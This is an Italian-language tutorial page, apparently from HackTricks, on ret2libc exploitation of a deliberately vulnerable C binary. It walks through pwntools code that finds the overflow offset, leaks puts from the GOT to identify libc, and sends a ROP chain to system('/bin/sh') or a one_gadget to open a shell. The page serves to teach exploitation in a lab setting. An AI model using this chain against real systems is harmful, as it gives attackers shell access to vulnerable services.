Leaking libc address with ROP
Reading time: 10 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Quick Resume
- Trova l'offset di overflow
- Trova il gadget
POP_RDI
, i gadgetPUTS_PLT
eMAIN
- Usa i gadget precedenti per leakare l'indirizzo di memoria di puts o di un'altra funzione libc e trovare la versione di libc (donwload it)
- Con la libreria, calcola il ROP e sfruttalo
Other tutorials and binaries to practice
This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Another useful tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Code
Filename: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC template
Scarica l'exploit e posizionalo nella stessa directory del binario vulnerabile e fornisci i dati necessari allo script:
{{#ref}} rop-leaking-libc-template.md {{#endref}}
1- Trovare l'offset
Il template ha bisogno di un offset prima di continuare con l'exploit. Se ne viene fornito uno, eseguirà il codice necessario per trovarlo (per impostazione predefinita OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Esegui python template.py
si aprirà una console GDB con il programma che si è bloccato. All'interno di quella console GDB esegui x/wx $rsp
per ottenere i byte che stavano per sovrascrivere il RIP. Infine, ottieni il offset utilizzando una console python:
from pwn import *
cyclic_find(0x6161616b)
Dopo aver trovato l'offset (in questo caso 40), cambia la variabile OFFSET all'interno del template utilizzando quel valore.
OFFSET = "A" * 40
Un altro modo sarebbe usare: pattern create 1000
-- esegui fino a ret -- pattern seach $rsp
da GEF.
2- Trovare Gadget
Ora dobbiamo trovare gadget ROP all'interno del binario. Questi gadget ROP saranno utili per chiamare puts
per trovare la libc in uso, e successivamente per lanciare l'exploit finale.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Il PUTS_PLT
è necessario per chiamare la funzione puts.
Il MAIN_PLT
è necessario per richiamare di nuovo la funzione main dopo un'interazione per sfruttare nuovamente il overflow (giri infiniti di sfruttamento). Viene utilizzato alla fine di ogni ROP per richiamare di nuovo il programma.
Il POP_RDI è necessario per passare un parametro alla funzione chiamata.
In questo passaggio non è necessario eseguire nulla poiché tutto sarà trovato da pwntools durante l'esecuzione.
3- Trovare la libreria libc
Ora è il momento di scoprire quale versione della libc viene utilizzata. Per farlo, andremo a leak l'indirizzo in memoria della funzione puts
e poi andremo a cercare in quale versione della libreria si trova la versione di puts in quell'indirizzo.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Per fare ciò, la linea più importante del codice eseguito è:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Questo invierà alcuni byte fino a quando sovrascrivere il RIP non sarà possibile: OFFSET
.
Poi, imposterà l'indirizzo del gadget POP_RDI
in modo che il prossimo indirizzo (FUNC_GOT
) sarà salvato nel registro RDI. Questo perché vogliamo chiamare puts passandogli l'indirizzo di PUTS_GOT
poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da PUTS_GOT
.
Dopo di che, verrà chiamato PUTS_PLT
(con PUTS_GOT
all'interno del RDI) in modo che puts legga il contenuto all'interno di PUTS_GOT
(l'indirizzo della funzione puts in memoria) e lo stampi.
Infine, la funzione main viene chiamata di nuovo così possiamo sfruttare di nuovo il buffer overflow.
In questo modo abbiamo ingannato la funzione puts per stampare l'indirizzo in memoria della funzione puts (che si trova all'interno della libreria libc). Ora che abbiamo quell'indirizzo possiamo cercare quale versione di libc viene utilizzata.
Poiché stiamo sfruttando un binario locale, non è necessario capire quale versione di libc viene utilizzata (basta trovare la libreria in /lib/x86_64-linux-gnu/libc.so.6
).
Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:
3.1- Ricerca della versione di libc (1)
Puoi cercare quale libreria viene utilizzata nella pagina web: https://libc.blukat.me/
Ti permetterà anche di scaricare la versione di libc scoperta.
3.2- Ricerca della versione di libc (2)
Puoi anche fare:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Questo richiederà del tempo, sii paziente.
Per farlo funzionare abbiamo bisogno di:
- Nome del simbolo libc:
puts
- Indirizzo libc leakato:
0x7ff629878690
Possiamo capire quale libc è molto probabilmente utilizzata.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Otteniamo 2 corrispondenze (dovresti provare la seconda se la prima non funziona). Scarica la prima:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Copia la libc da libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
nella nostra directory di lavoro.
3.3- Altre funzioni da leak
puts
printf
__libc_start_main
read
gets
4- Trovare l'indirizzo libc basato su e sfruttare
A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò solo: /lib/x86_64-linux-gnu/libc.so.6
Quindi, all'inizio di template.py
, cambia la variabile libc in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Imposta il percorso della libreria quando lo conosci
Fornendo il percorso alla libreria libc, il resto dell'exploit verrà calcolato automaticamente.
All'interno della funzione get_addr
, verrà calcolato il base address di libc:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Nota che l'indirizzo base finale di libc deve terminare in 00. Se non è il tuo caso, potresti aver rivelato una libreria errata.
Quindi, l'indirizzo della funzione system
e l'indirizzo della stringa "/bin/sh" verranno calcolati dall'indirizzo base di libc e forniti dalla libreria libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Infine, l'exploit per l'esecuzione di /bin/sh verrà preparato e inviato:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Spieghiamo questo ROP finale.
L'ultimo ROP (rop1
) ha chiamato di nuovo la funzione main, quindi possiamo sfruttare di nuovo il overflow (ecco perché l'OFFSET
è qui di nuovo). Poi, vogliamo chiamare POP_RDI
puntando all'indirizzo di "/bin/sh" (BINSH
) e chiamare la funzione system (SYSTEM
) perché l'indirizzo di "/bin/sh" sarà passato come parametro.
Infine, l'indirizzo della funzione exit è chiamato in modo che il processo esca in modo ordinato e non venga generato alcun avviso.
In questo modo l'exploit eseguirà una _/bin/sh_** shell.**
4(2)- Utilizzando ONE_GADGET
Puoi anche usare ONE_GADGET per ottenere una shell invece di usare system e "/bin/sh". ONE_GADGET troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un indirizzo ROP.
Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come [rsp+0x30] == NULL
. Poiché controlli i valori all'interno del RSP, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
FILE DI ESPLOITAZIONE
Puoi trovare un modello per sfruttare questa vulnerabilità qui:
{{#ref}} rop-leaking-libc-template.md {{#endref}}
Problemi comuni
MAIN_PLT = elf.symbols['main'] non trovato
Se il simbolo "main" non esiste. Allora puoi trovare dove si trova il codice principale:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
e impostare l'indirizzo manualmente:
MAIN_PLT = 0x401080
Puts non trovato
Se il binario non utilizza Puts, dovresti controllare se sta usando
sh: 1: %s%s%s%s%s%s%s%s: non trovato
Se trovi questo errore dopo aver creato tutti gli exploit: sh: 1: %s%s%s%s%s%s%s%s: non trovato
Prova a sottrarre 64 byte all'indirizzo di "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.